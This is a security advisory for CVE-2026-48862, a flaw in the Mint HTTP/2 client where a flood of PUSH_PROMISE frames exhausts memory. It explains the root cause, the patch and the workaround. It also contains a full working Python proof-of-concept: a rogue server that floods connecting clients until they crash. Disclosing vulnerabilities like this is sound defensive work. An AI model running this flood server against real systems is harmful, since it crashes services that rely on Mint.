highCVE-2026-48862Jul 9, 2026

CVE-2026-48862: Mint HTTP/2 Client Memory Exhaustion via PUSH_PROMISE Flood

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious HTTP/2 server can crash any Elixir process using Mint by flooding it with PUSH_PROMISE frames and never sending the matching response headers, causing unbounded memory growth with no way f

Packagemint
Ecosystemerlang
Affected>= 0.2.0, < 1.9.0
Fixed in1.9.0

The problem

Mint's HTTP/2 client inserts every inbound PUSH_PROMISE frame into the per-connection `conn.streams` map as a `:reserved_remote` entry, but never checks `max_concurrent_streams` at promise time. The concurrency cap is only enforced when the follow-up response HEADERS arrive.

A server that sends PUSH_PROMISE frames and withholds the HEADERS forever never triggers the cap. Because `enable_push` defaults to `true`, no application opt-in is required. Each pinned entry costs roughly 148 bytes; a long-lived connection lets the server grow the map without bound until the BEAM process OOMs.

Proof of concept

A working proof-of-concept for CVE-2026-48862 in mint, with the exact payload below.

python
#!/usr/bin/env python3
"""
CVE-2026-48862 -- Mint HTTP/2 PUSH_PROMISE flood PoC
Derived from the GHSA advisory PoC steps and patch diff.
Run a raw TCP listener that completes the HTTP/2 handshake,
then floods the connecting Mint client with PUSH_PROMISE frames.
"""
import socket, struct, threading

# Minimal HPACK-encoded headers for a push promise:
# ':method: GET', ':path: /', ':scheme: https', ':authority: evil.example'
HPACK_MIN = bytes([
    0x82,        # :method: GET  (indexed, table[2])
    0x84,        # :path: /      (indexed, table[4])
    0x86,        # :scheme: https (indexed, table[6])
    0x41, 0x0f,  # :authority literal, length 15
    0x65,0x76,0x69,0x6c,0x2e,0x65,0x78,0x61,
    0x6d,0x70,0x6c,0x65,0x00  # "evil.example\x00" (padded to 15)
])

CLIENT_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

def build_frame(ftype, flags, stream_id, payload):
    length = len(payload)
    header = struct.pack('>I', length)[1:]  # 3-byte length
    header += bytes([ftype, flags])
    header += struct.pack('>I', stream_id)
    return header + payload

def server_settings():
    # Empty SETTINGS frame (server -> client)
    return build_frame(0x4, 0x0, 0, b'')

def settings_ack():
    return build_frame(0x4, 0x1, 0, b'')

def push_promise_frame(associated_stream_id, promised_stream_id, hblock):
    # PUSH_PROMISE: type=0x5, flags=END_HEADERS(0x4)
    # Payload: 4 bytes promised stream id (R=0) + header block
    promised = struct.pack('>I', promised_stream_id & 0x7FFFFFFF)
    payload = promised + hblock
    return build_frame(0x5, 0x4, associated_stream_id, payload)

def handle_client(conn):
    data = b''
    # Wait for client connection preface
    while len(data) < len(CLIENT_PREFACE):
        data += conn.recv(4096)
    # Send server SETTINGS, then ACK client SETTINGS
    conn.sendall(server_settings())
    conn.sendall(settings_ack())
    # Read until we see the client's HEADERS frame (stream 1)
    buf = b''
    associated_sid = 1
    # brief wait for client request
    conn.settimeout(2.0)
    try:
        while True:
            buf += conn.recv(4096)
    except socket.timeout:
        pass
    # Flood: send PUSH_PROMISE frames with fresh even stream IDs,
    # never followed by response HEADERS -- this is the exploit.
    # Each frame pins a :reserved_remote entry in conn.streams.
    print("[*] Flooding PUSH_PROMISE frames...")
    promised_id = 2  # must be even per HTTP/2 spec
    while True:
        frame = push_promise_frame(associated_sid, promised_id, HPACK_MIN)
        try:
            conn.sendall(frame)
        except BrokenPipeError:
            break
        promised_id += 2  # increment even stream ID each time

def main():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(('0.0.0.0', 8080))
    srv.listen(5)
    print("[*] Listening on :8080 -- point a Mint HTTP/2 client here")
    while True:
        conn, addr = srv.accept()
        print(f"[*] Connection from {addr}")
        threading.Thread(target=handle_client, args=(conn,), daemon=True).start()

if __name__ == '__main__':
    main()

The root cause is in `Mint.HTTP2.decode_push_promise_headers_and_add_response/5` (lib/mint/http2.ex): it inserts a `:reserved_remote` stream entry for every valid PUSH_PROMISE without consulting `max_concurrent_streams`. The only guard, `assert_valid_promised_stream_id/2`, only checks that the promised ID is even and not already present.

The patch (commit 70b97b6) counts `:reserved_remote` streams against `max_concurrent_streams` at promise time. Any promise that would exceed the limit is now immediately refused with a `RST_STREAM (REFUSED_STREAM)` frame. The HPACK header block is still decoded first to keep the HPACK table in sync, but the stream entry is never stored.

This closes the unbounded allocation window (CWE-770).

The fix

Upgrade to mint >= 1.9.0 (commit 70b97b6). If you cannot upgrade immediately, disable HTTP/2 server push on every connection to an untrusted server: pass `client_settings: [enable_push: false]` to `Mint.HTTP.connect/4`. Mint will then reject any inbound PUSH_PROMISE with a PROTOCOL_ERROR before the vulnerable code path is reached.

Reported by PJUllrich.

References: [1][2][3][4][5][6]

Related research